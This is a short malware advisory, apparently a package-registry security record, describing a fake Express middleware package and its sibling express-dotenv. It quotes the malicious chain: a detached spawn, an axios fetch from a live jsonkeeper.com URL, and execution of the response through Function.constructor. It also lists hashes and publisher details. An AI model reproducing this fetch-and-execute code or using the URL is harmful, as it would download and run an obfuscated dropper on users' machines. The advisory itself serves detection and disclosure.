GCVE-110-OSM-2026-3164

Downloads and executes a second-stage JavaScript payload from jsonkeeper.com via a detached background process, sharing C2 infrastructure and an identical execution chain with sibling package express-dotenv from the same disposable-email publisher. index.js exports a fake middleware that spawns lib/caller.js as a detached process (spawn({detached:true, stdio:'ignore'}); child.unref()). caller.js fetches a second-stage payload via axios.get('https://jsonkeeper.com/b/ZK45J', {headers: {'x-secret-key': '_'}}) and executes the response .data.cookie field via new Function.constructor('require', s)(require). Retries up to 5 times. Stage-2 payload (18.3KB) at jsonkeeper.com/b/ZK45J is a live RC4+Base64 obfuscated JavaScript dropper confirmed during analysis. sha256(caller.js): b0098181dcb3b52d59bde530630ccf4580e8c2fa9467edbacaab217bf824bc77. sha256(index.js): 32e82853dd646aac388b78f868241267a5e6483d847df3d4c843f8100590d469. Identical file hashes to sibling package express-dotenv. Three phantom dependencies (request, sqlite3, parse-json) declared but never imported. Same publisher domain (poisonword.com) and boilerplate description as express-dotenv.